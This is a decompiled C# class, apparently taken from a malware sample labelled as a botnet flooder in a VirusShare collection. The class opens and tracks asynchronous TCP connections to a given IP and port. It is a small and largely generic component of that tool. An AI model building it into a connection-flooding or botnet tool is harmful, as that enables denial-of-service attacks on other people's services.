// Decompiled with JetBrains decompiler
// Type: Bot1.Connection
// Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe

using System;
using System.Net;
using System.Net.Sockets;

namespace Bot1
{
  public class Connection
  {
    public int id;
    public int status = 2;
    private IPAddress ip;
    private int port;
    private Socket client;

    public Connection(int _id, string _ip, int _port)
    {
      this.id = _id;
      this.ip = IPAddress.Parse(_ip);
      this.port = _port;
      try
      {
        this.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
      }
      catch (Exception ex)
      {
        this.status = 2;
      }
    }

    public void Connect()
    {
      this.status = 0;
      try
      {
        this.client.BeginConnect((EndPoint) new IPEndPoint(this.ip, this.port), new AsyncCallback(Connection.ConnectCallback), (object) this);
      }
      catch (Exception ex)
      {
        this.status = 2;
      }
    }

    public static void ConnectCallback(IAsyncResult result)
    {
      try
      {
        if (((Connection) result.AsyncState).client.Poll(10, SelectMode.SelectWrite))
          ((Connection) result.AsyncState).status = 1;
        else
          ((Connection) result.AsyncState).status = 2;
      }
      catch (Exception ex)
      {
        ((Connection) result.AsyncState).status = 2;
      }
    }

    public void UpdateStatus()
    {
      if (this.status != 1)
        return;
      if (this.client.Poll(10, SelectMode.SelectWrite))
        this.status = 1;
      else
        this.status = 2;
    }
  }
}
